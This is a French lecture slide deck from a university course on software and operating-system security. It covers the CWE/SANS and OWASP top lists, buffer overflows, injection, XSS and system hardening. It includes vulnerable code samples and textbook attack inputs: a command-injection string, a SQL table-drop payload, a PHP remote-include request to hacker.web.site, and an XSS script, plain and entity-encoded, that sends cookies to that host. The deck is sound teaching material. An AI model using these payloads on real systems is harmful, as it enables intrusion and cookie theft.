

# 3TI

## Sécurité des réseaux informatiques

### 2015-2016

La sécurité des logiciels

V. Van den Schrieck

# Table des matières

---

- Sécurité des logiciels
    - Problématique
    - Gestion des inputs
    - Ecrire du code safe
    - Interactions applications/OS
  - Sécurité des systèmes d'exploitation
    - Planning
    - Hardening
    - Sécurité applicative
    - Maintenance
    - Case studies
-

# Références

---

Le contenu et les figures de ce slideshow sont  
tirés de Stallings et Brown, « Computer  
Security, Principles and Practice », 3rd edition, Ed.  
Pearson

# Sécurité logicielle

---

- Quelles menaces potentielles identifiez-vous au niveau
  - Des logiciels?
  - Des OS?
- Quels sont les risques associés?

# La sécurité logicielle

<b>Software Error Category: Insecure Interaction Between Components</b> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Unrestricted Upload of File with Dangerous Type Cross-Site Request Forgery (CSRF) URL Redirection to Untrusted Site ('Open Redirect')
<b>Software Error Category: Risky Resource Management</b> Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Download of Code Without Integrity Check Inclusion of Functionality from Untrusted Control Sphere Use of Potentially Dangerous Function Incorrect Calculation of Buffer Size Uncontrolled Format String Integer Overflow or Wraparound
<b>Software Error Category: Porous Defenses</b> Missing Authentication for Critical Function Missing Authorization Use of Hard-coded Credentials Missing Encryption of Sensitive Data Reliance on Untrusted Inputs in a Security Decision Execution with Unnecessary Privileges Incorrect Authorization Incorrect Permission Assignment for Critical Resource Use of a Broken or Risky Cryptographic Algorithm Improper Restriction of Excessive Authentication Attempts Use of a One-Way Hash without a Salt

## SANS Top 25 Most Dangerous Software Errors (2011)

# CWE/SANS Top 25 Most Dangerous Software Errors

## I. Interactions non sécurisées entre composants

Rank	CWE ID	Name
[1]	<a href="#">CWE-89</a>	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
[2]	<a href="#">CWE-78</a>	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
[4]	<a href="#">CWE-79</a>	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
[9]	<a href="#">CWE-434</a>	Unrestricted Upload of File with Dangerous Type
[12]	<a href="#">CWE-352</a>	Cross-Site Request Forgery (CSRF)
[22]	<a href="#">CWE-601</a>	URL Redirection to Untrusted Site ('Open Redirect')

CWE : Common Weakness Enumeration (= erreur en général)

CVE : Common Vulnerabilities and Exposures (= cas particulier dans un soft précis)

=> Maintenus par MITRE (= organisme de recherche américain soutenu, entre autre par le DoD)

SANS : Centre international de formation à la sécurité informatique

Aussi : OWASP top ten (web applications security)

# CWE/SANS Top 25 Most Dangerous Software Errors

## 2. Mauvaise gestion des ressource système

Rank	CWE ID	Name
[3]	<a href="#">CWE-120</a>	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
[13]	<a href="#">CWE-22</a>	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
[14]	<a href="#">CWE-494</a>	Download of Code Without Integrity Check
[16]	<a href="#">CWE-829</a>	Inclusion of Functionality from Untrusted Control Sphere
[18]	<a href="#">CWE-676</a>	Use of Potentially Dangerous Function
[20]	<a href="#">CWE-131</a>	Incorrect Calculation of Buffer Size
[23]	<a href="#">CWE-134</a>	Uncontrolled Format String
[24]	<a href="#">CWE-190</a>	Integer Overflow or Wraparound

CWE : Common Weakness Enumeration (= erreur en général)

CVE : Common Vulnerabilities and Exposures (= cas particulier dans un soft précis)

=> Maintenus par MITRE (= organisme de recherche américain soutenu, entre autre par le DoD)

Aussi : OWASP top ten (web applications security)

# CWE/SANS Top 25 Most Dangerous Software Errors

## 3. Mauvaise défense

Rank	CWE ID	Name
[5]	<a href="#">CWE-306</a>	Missing Authentication for Critical Function
[6]	<a href="#">CWE-862</a>	Missing Authorization
[7]	<a href="#">CWE-798</a>	Use of Hard-coded Credentials
[8]	<a href="#">CWE-311</a>	Missing Encryption of Sensitive Data
[10]	<a href="#">CWE-807</a>	Reliance on Untrusted Inputs in a Security Decision
[11]	<a href="#">CWE-250</a>	Execution with Unnecessary Privileges
[15]	<a href="#">CWE-863</a>	Incorrect Authorization
[17]	<a href="#">CWE-732</a>	Incorrect Permission Assignment for Critical Resource
[19]	<a href="#">CWE-327</a>	Use of a Broken or Risky Cryptographic Algorithm
[21]	<a href="#">CWE-307</a>	Improper Restriction of Excessive Authentication Attempts
[25]	<a href="#">CWE-759</a>	Use of a One-Way Hash without a Salt

CWE : Common Weakness Enumeration (= erreur en général)

CVE : Common Vulnerabilities and Exposures (= cas particulier dans un soft précis)

=> Maintenus par MITRE (= organisme de recherche américain soutenu, entre autre par le DoD)

+ SANS :

Aussi : OWASP top ten (web applications security)

Open Web Application Security Project



# La sécurité logicielle

## OWASP Top 10 – 2013 (New)

A1 – Injection

A2 – Broken Authentication and Session Management

A3 – Cross-Site Scripting (XSS)

A4 – Insecure Direct Object References

A5 – Security Misconfiguration

A6 – Sensitive Data Exposure

A7 – Missing Function Level Access Control

A8 – Cross-Site Request Forgery (CSRF)

A9 – Using Known Vulnerable Components

A10 – Unvalidated Redirects and Forwards

« The 10 Most Critical  
Web Application  
Security Risks »

# La sécurité logicielle

---

Software quality/reliability



Software Security

Soft quality : Lié aux pannes accidentelles d'un programme résultant d'un input aléatoire, non anticipé.

Objectif : Tester un maximum d'input différents pour minimiser la fréquence d'occurrence des erreurs (différent du nombre d'erreurs)

Soft security : l'attaquant cible des bugs spécifiques en essayant des inputs très différents de l'input attendu, échappant généralement aux procédures de test

# Programmation sécurisée

---

« La programmation sécurisée est le fait de concevoir et d'implémenter un logiciel de telle sorte qu'il fonctionne même quand il est attaqué. »

*Ne faire aucune supposition sur les inputs,  
mais tester toutes les possibilités et  
gérer les erreurs possibles*

- Détection de conditions résultant d'une attaque
  - Poursuite de l'exécution pendant une attaque, ou terminaison propre

Lien avec la programmation défensive (c'est en fait la même chose). Il faut penser à toutes les données d'entrées possibles et gérer chaque cas.

# Gestion des inputs

**Input** : Données venant de l'extérieur du programme, non connues du programmeur au moment de l'écriture du code

## Sources :

- Clavier/Souris
- Fichiers
- Réseau
- Environnement d'exécution
- OS
- ...

## Caractéristiques :

- Taille
- Type
- Contenu
- ...

# Gestion des inputs

---

- Taille de l'input : Buffer Overflow
- Interprétation de l'input :
  - Attaques par injection
  - Cross-Site Scripting Attacks
- Validation de la syntaxe
- Input Fuzzing

XSS : voir [https://en.wikipedia.org/wiki/Cross-site\\_scripting](https://en.wikipedia.org/wiki/Cross-site_scripting)

# Buffers overflows

---

«Une situation se produisant au niveau d'une interface, au niveau de laquelle il est possible de placer dans un **buffer** une quantité de données **dépassant la capacité allouée**, écrasant donc de l'information. Les attaquants exploitent cette situation pour crasher un système ou y insérer du code leur permettant de prendre le contrôle de la machine»

# Buffer Overflow : Exemple

---

```
int main(int argc, char *argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next_tag(str1);
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1, str2, valid);
}
```

next\_tag : copie une valeur de tag dans str1, ici, en l'occurrence, START.

Supposition : valid, str1 et str2 sont adjacents en mémoire, du plus élevé au plus bas.

# Buffer Overflow : Exemple

---

```
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)
```

next\_tag : copie une valeur de tag dans str1, ici, en l'occurrence, START.

Supposition : valid, str1 et str2 sont adjacents en mémoire, du plus élevé au plus bas.

Origine du problème : Utilisation de gets(), qui lit les caractères jusqu'au prochain newline, copie l'input et ajoute le NULL de terminaison de string.



# Types de buffer overflows

---

- Stack buffer overflow :
  - Consiste à écraser les adresses de retour dans les appels de fonction
  - Ex : Morris Internet Worm (1988) : exploitation de `gets()` dans le démon `fingerd`
- Shellcode :
  - Transfert de l'exécution à du code fourni par l'attaquant (par ex. un shell)
  - Code machine, compilé
- Heap overflow, Global Data Area Overflow, Return to System Call, ...

# Défense contre les buffer overflow

---

- I. « **Compilation-time defense** » : Prévoir du code robuste face aux buffer overflow
  - Choix du langage
  - Techniques de codage sûres
    - Programmation défensive
    - Eviter les bibliothèques problématiques (gets, strings)
    - Manipuler les pointeurs et les buffers avec prudence, prévoir tous les cas de figure au niveau des inputs

# Défense contre les buffer overflow

---

2. « Runtime defense » : Permet de protéger du code existant, potentiellement vulnérable
    - Ajustement des permissions sur l'espace d'adressage (ex : pas d'exécution sur la stack ou le heap)
    - Randomisation de l'espace d'adressage (rend difficile de deviner l'emplacement des morceaux vulnérables)
    - Pages de garde : Trous entre les différents composants de l'espace d'adressage
-

# Interprétation de l'input

---

**Etant donné un input reçu, comment l'interpréter et lui donner une signification?**

- Textuel?
  - Set de caractères? Signification? (nom de fichier, URL, email, identifiant, ...)
- Binaire?
  - Entier? Nombre flottant? Autre structure de données (ex : en-tête de paquet réseau)
- Risque :Attaques par injection ou XSS

# Attaque par injection

---

- **Attaque par injection** : des données entrées dans un programme peuvent influencer de manière accidentelle ou délibérée le flux d'exécution du programme
  - Injection de commande
  - Injection SQL
  - Injection de code

# Injection de commande

L'input est utilisé pour construire une commande qui sera exécutée par le système

```
<html><head><title>Finger User</title></head><body>
<h1>Finger User</h1>
<form method=post action="finger.cgi">
<b>Username to finger</b>: <input type=text name=user value="">
<p><input type=submit value="Finger User">
</form></body></html>
```

```
1  #!/usr/bin/perl
2  # finger.cgi - finger CGI script using Perl5 CGI module
3
4  use CGI;
5  use CGI::Carp qw(fatalsToBrowser);
6  $q = new CGI;      # create query object
7
8  # display HTML header
9  print $q->header,
10     $q->start_html('Finger User'),
11     $q->h1('Finger User');
12  print "<pre>";
13
14  # get name of user and display their finger details
15  $user = $q->param("user");
16  print `/usr/bin/finger -sh $user`;
17
18  # display HTML footer
19  print "</pre>";
20  print $q->end_html;
```

# Injection de commande

1er input : lpb

2ème input : xxx; echo attack success; ls -l finger\*

```
Finger User
Login      Name          TTY  Idle  Login  Time   Where
lpb        Lawrie Brown  p0           Sat    15:24 ppp41.grapevine

Finger User
attack success
-rwxr-xr-x  1 lpb  staff  537 Oct 21 16:19 finger.cgi
-rw-r--r--  1 lpb  staff  251 Oct 21 16:14 finger.html
```

Privilèges de l'attaquant = privilèges du serveur web

# Injection de commande

---

## Amélioration du script cgi :

```
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 die "The specified user contains illegal characters!"
17     unless ($user =~ /\w+$/);
18 print `/usr/bin/finger -sh $user`;
```



# SQL injection

---

```
$name = $_REQUEST['name'];  
$query = "SELECT * FROM suppliers WHERE name = '" . $name . "'";  
$result = mysql_query($query);
```

**(a) Vulnerable PHP code**

```
$name = $_REQUEST['name'];  
$query = "SELECT * FROM suppliers WHERE name = '" .  
    mysql_real_escape_string($name) . "'";  
$result = mysql_query($query);
```

**(b) Safer PHP code**

Exemple d'input dangereux : `Bob' ; drop table suppliers`

# Injection de code

- Premier exemple : Shellcode avec les buffer overflow
- Mais aussi : Injection de code de langage de script dans des scripts exécutés à distance

```
<?php
include $path . 'functions.php';
include $path . 'data/prefs.php';
...
```

(a) Vulnerable PHP code

```
GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
```

(b) HTTP exploit request

Shellcode : Code compilé.

Deuxième exemple : Pas besoin d'être compilé avec langage de script.

Dans cet exemple : La variable \$path n'est pas supposée être un champ de formulaire, mais une feature de php interprète automatiquement les variables get, ce qui laisse une porte d'entrée à l'attaquant.

La variable cmd permet d'ajouter de l'input au script de l'attaquant, qui a été référencé par l'include. (= PHP remote code injection)

# Attaques Cross-Site Scripting

---

- Pour pouvoir gérer certaines applications Web, les navigateurs autorisent les scripts à accéder aux données d'autres pages que la page affichée
  - A condition qu'il s'agisse du même site
- Porte d'entrée pour les attaques XSS
  - Accès au contenu de certains sites, à des cookies, etc.
  - Guest books, commentaires, forums, ...

# XSS

---

```
Thanks for this information, its great!  
<script>document.location='http://hacker.web.site/cookie.cgi?'+  
document.cookie</script>
```

Exemple simple : L'attaquant récupère le cookie du document et l'envoie à son script

Assez simple de détecter ce code

# XSS

```
Thanks for this information, its great!  
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;  
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;  
&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;  
&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;  
&#47;&#47;&#104;&#97;&#99;&#107;&#101;&#114;  
&#46;&#119;&#101;&#98;&#46;&#115;&#105;&#116;  
&#101;&#47;&#99;&#111;&#111;&#107;&#105;&#101;  
&#46;&#99;&#103;&#105;&#63;&#39;&#43;&#100;  
&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;  
&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;  
&#115;&#99;&#114;&#105;&#112;&#116;&#62;
```

Exemple plus complexe : Utilisation d'entités HTML pour essayer de bypasser une validation trop simple

# XSS : Prévention

---

- Cible de l'attaque XSS : Non pas le site lui-même, mais les données qu'il stocke
- Défense :
  - Validation de l'input
  - ET validation de l'output!

# Validation de la syntaxe

- Vérifier que les données reçues correspondent bien aux valeurs attendues
  - Nom, email, nombre dans un certain intervalle, texte contenant des balises HTML ou non, ...
  - Utilisation d'expressions régulières
- Différences dans les character sets?
  - ASCII, unicode, ...
  - Canonicalisation : Transformation dans une représentation minimale standard pour permettre la validation
- **Utiliser des librairies de validation!**

Exemple : vérification qu'un chemin d'accès est relatif et non absolu : Vérifier la présence du / en début du path. Problème : Windows IIS fin des années 90 ne vérifiait qu'un seul encodage de / (le plus court en UTF-8), l'attaquant pouvait donc contourner la vérification en utilisant une autre version du /.

# Input Fuzzing

---

- Technique de test logiciel consistant à générer des inputs de test de manière aléatoire
  - Pas de supposition initiale sur le type d'input attendu
- But : Vérifier comment le programme réagit avec des données anormales
- Outils disponibles en ligne
  - également utilisé par les attaquants...



# Ecrire du code sécurisé

---

## I. Implémentation correcte de l'algorithme!

- Ex : Utilisation d'un mauvais générateur de nombres aléatoires par Netscape pour générer les clés de sessions sécurisées
- Ex : Génération prédictible des numéros de séquences TCP initiaux
- Ex : Morris Worm, fin 80 : instructions de debug dans le programme sendmail utilisées pour contrôler le programme à distance

– Vérifier si les inputs sont légitimes est une chose, mais il faut également s'assurer que le programme gère correctement les inputs valides!

# Ecrire du code sécurisé

---

2. S'assurer que le langage machine généré corresponde à l'algorithme
  - Attaques sur le compilateur...
3. Interpréter correctement les valeurs
  - Attention aux casts (ex : entier=> pointeur en C)
  - Utilisation de langage fortement typés

– Vérifier si les inputs sont légitimes est une chose, mais il faut également s'assurer que le programme gère correctement les inputs valides!

# Ecrire du code sécurisé

---

4. Utilisation correcte de la mémoire
  - Fuites mémoires => déni de service!
5. Attention à la programmation multithread
  - Race condition sur les ressources partagées  
=> deadlocks!

– Vérifier si les inputs sont légitimes est une chose, mais il faut également s'assurer que le programme gère correctement les inputs valides!

# Interactions avec l'OS

## Variables d'environnement : Exemple

```
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'\`
grep $user /var/local/accounts/ipaddrs
```

(a) Example vulnerable privileged shell script

```
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'\`
grep $user /var/local/accounts/ipaddrs
```

(b) Still vulnerable privileged shell script

## Attention aux scripts shell privilégiés!

Exemple 1 : En redéfinissant le path, on peut exécuter ce script sur des exécutables appelés set et grep, qui sont en fait des programmes malicieux. C'est d'autant plus pratique que ce script doit être exécuté avec des droits privilégiés.

Exemple 2 : Ok pour le path, mais en redéfinissant la variable IFS qui définit les caractères signalant la fin d'une commande, par ex. en y incluant le =, on déclenche ainsi l'exécution de l'exécutable path.

Autre variable intéressante : LD\_LIBRARY\_PATH

# Interactions avec l'OS

---

Principe du « Least Privilege » pour éviter l'escalade de privilèges

- Ex : droits du serveur web (user www) limités, en lecture, aux pages qu'il envoie, et en exécution, aux scripts qu'il est prévu d'exécuter.
- Ne donner des privilèges qu'aux portions de programmes qui en ont besoin
  - Ex : serveurs qui ont besoin d'être root pour faire le bind sur un port privilégié

User www : Les admins peu attentifs se contentent parfois de donner les droits sur le répertoire des pages web et toute la hiérarchie qui en découle.

# Interactions avec l'OS

---

- Utilisation des appels systèmes et des bibliothèques standards
  - Comment fonctionnent réellement ces fonctions? Font-elles ce que le programmeur suppose?
- Interactions avec d'autres programmes
  - Ces programmes utilisent-ils la programmation défensive? Gèrent-ils correctement les aspects sécurité? Comment vérifier s'ils se terminent correctement?
  - S'ils communiquent avec des flux de données, comment protéger ces flux? (IPSec, TLS/SSL, SSH)

# Table des matières

---

- Sécurité des logiciels
    - Problématique
    - Gestion des inputs
    - Ecrire du code safe
    - Interactions applications/OS
  - Sécurité des systèmes d'exploitation
    - Planning
    - Hardening
    - Sécurité applicative
    - Maintenance
-

# Sécurité des systèmes d'exploitation

---

Qu'est ce que le  
« System Hardening Process? »



# Sécurité des OS

---

ASD Top 35 Mitigation Strategies :

L'implémentation du top 4 aurait suffi à prévenir au moins 85% des intrusions depuis 2010

1. White-list d'applications approuvées
2. Patch des vulnérabilités des OS et des applications tierces
3. Restriction des privilèges administrateur
4. Création d'une défense système en profondeur

# Processus de déploiement d'un système

---

- **Problème : Les systèmes sont vulnérables dès le processus d'installation**
- **Nécessité de planifier la procédure**
  1. Evaluer les risques et planifier le déploiement
  2. Sécuriser l'OS et les applications clés
  3. S'assurer que le contenu critique est sécurisé
  4. S'assurer que les mécanismes de protection réseau sont utilisés
  5. S'assurer que les processus appropriés sont utilisés pour maintenir la sécurité

# Planification : Considérations

---

- But du système? Type d'information stocké? Applications et services? Niveau de sécurité?
- Catégories d'utilisateurs? Privilèges?
- Authentification des utilisateurs?
- Gestion de l'accès à l'information sur le système? Sur d'autres hôtes (BDD, serveurs de fichiers, ...)
- Administration du système?
- Mesures de sécurité supplémentaires : FW, anti-virus, anti-malware, logging, ...

# Hardening de l'OS

---

## I. Installation : Configuration et patching

- Accès réseau initial?
- Packages à installer : uniquement ceux requis!
- Attention aux drivers
- Sécurisation du boot : Options du BIOS, mot de passe, médias de boot, ...
- Patches de sécurité
  - Mais attention aux updates automatiques...

Accès réseau initial : Doit être minimal, voire non existant (mais si install à partir d'un cd ou d'une clé USB : Attention!). Accès minimal nécessaire : connexion uniquement vers l'extérieur, vers des sites spécifiques.

# Hardening de l'OS

---

## 2. Nettoyage des services, applications et protocoles

- Eviter les installations par défaut
- Installer a posteriori plutôt qu'a priori
  - mieux vaut ne pas installer que désinstaller ou désactiver

Accès réseau initial : Doit être minimal, voire non existant (mais si install à partir d'un cd ou d'une clé USB : Attention!). Accès minimal nécessaire : connexion uniquement vers l'extérieur, vers des sites spécifiques.

# Hardening de l'OS

---

## 3. Configurer les utilisateurs, groupes et l'authentification

- Principe du moindre privilège
- Droits d'admin : Uniquement pour les tâches qui le nécessitent
- Désactivation des comptes par défaut
- Gestion de l'authentification (mots de passe!)

Droit d'admin via mécanisme tel que sudo.

# Hardening de l'OS

---

## 4. Configurer le contrôle des ressources

- Configurer les permissions sur les ressources :  
exécution de programmes, accès aux fichiers, ...

## 5. Installation de contrôles de sécurité supplémentaires

- Anti-virus, anti-malwares, firewall, IDS, IPS
- White-list d'applications

# Hardening de l'OS

---

## 6. Tester la sécurité du système

- Vérifier l'implémentation correcte des mesures précédentes
- Identifier les vulnérabilités restantes à corriger
- Check-lists disponibles dans les guides de hardening
- Outils de scan de vulnérabilité (ex : nessus)
- A faire après le hardening initial, et à **reproduire périodiquement**

Droit d'admin via mécanisme tel que sudo.



# Sécurisation des applications

---

- Après installation du système : Ajout des services et applications nécessaires
  - Attention aux services fournissant un accès distant!
- Configuration :
  - Attention aux scripts d'installation par défaut, et aux comptes créés automatiquement
  - Attention aux droits d'accès
- Mécanismes de chiffrement
  - Services et/ou données chiffrés

# Maintenance de sécurité

---

- Politique de patching et d'update
- Evaluation régulière des vulnérabilités potentielles
- Logging : Gestion de l'espace disque et analyse
- Backup et archivage des données
  - Politique à déterminer durant la planification
  - Localisation du backup!

Ex de mauvaise politique de backup :

- Hébergeur australien attaqué en 2011, les attaquants ont détruit l'ensemble des sites hébergés mais également les copies de backup stockées en ligne.
- Backups gardés sur le site : Perdus en cas d'inondation ou d'incendie du centre ID.

# Sécurité Linux

---

## Ressources disponibles :

- The Linux Documentation Project : <http://www.tldp.org/guides.html>
- NSA : Security configuration guides [https://www.nsa.gov/ia/mitigation\\_guidance/security\\_configuration\\_guides/](https://www.nsa.gov/ia/mitigation_guidance/security_configuration_guides/)

# Sécurité Linux

---

- Gestion des patches : Outils de gestion des packages (yum, yast, apt-get) + cron jobs pour les updates automatiques (avec prudence)
- Configuration des services et applications
  - Essentiellement via des fichiers texte (/etc, fichier .<namefile>)
  - GUI : ok pour petits sites ou nombre limité de systèmes

# Sécurité Linux

---

- Gestion des groupes et des permissions : Voir cours 4.
- Contrôle d'accès à distance : Limitation des accès
  - Première mesure : Firewall de périmètre
  - Mesures additionnelles : Firewall hôte, ou contrôle d'accès au réseau
    - `iptables`, `nftables`
    - Gestion des connexions TCP : `tcpd` et fichiers `/etc/hosts.allow`, `/etc/hosts.deny`

# Sécurité Linux

---

- Logging et rotation des logs
  - Configuration du niveau de log (de debug à none)
  - Utilisation de syslog => /dev/log
  - Rotation avec logrotate (pas uniquement syslog)
- Confinement d'application avec chroot
  - Isolation d'une application exposée
  - Gestion plus complexe
- Testing :
  - Checklist de sécurité dans les guides de hardening
  - Nessus, Tripwire, Nmap, ...

# Sécurité Windows

---

- Ressources :

- Microsoft Security Toolkit : <http://technet.microsoft.com/en-us/library/dd277390.aspx>
- NSA Security Configuration Guides : [https://www.nsa.gov/ia/mitigation\\_guidance/security\\_configuration\\_guides/](https://www.nsa.gov/ia/mitigation_guidance/security_configuration_guides/)

# Sécurité Windows

---

- Gestion des patches et updates :
  - services Windows Update et Windows Server Updates
- Administration des utilisateurs et contrôle d'accès
  - Gestion locale : Security ID et Security Account Manager (SAM)
  - Gestion centralisée : Active Directory et LDAP



# Sécurité Windows

---

- Configuration des applications et des services
  - Centralisation dans les Registres
- Autres contrôles de sécurité
  - Windows est une cible privilégiée des attaques malwares => Anti-virus, -malware, firewall, systèmes de détection, etc. indispensables
  - Chiffrement : Encrypting File System ou BitLocker (AES)

# Sécurité Windows

---

- Test de sécurité :
  - Checklist de sécurité : NSA Security Configuration Guides par ex.
  - Outils de scan de vulnérabilité : Microsoft Baseline Security Analyser (Ok pour les PME)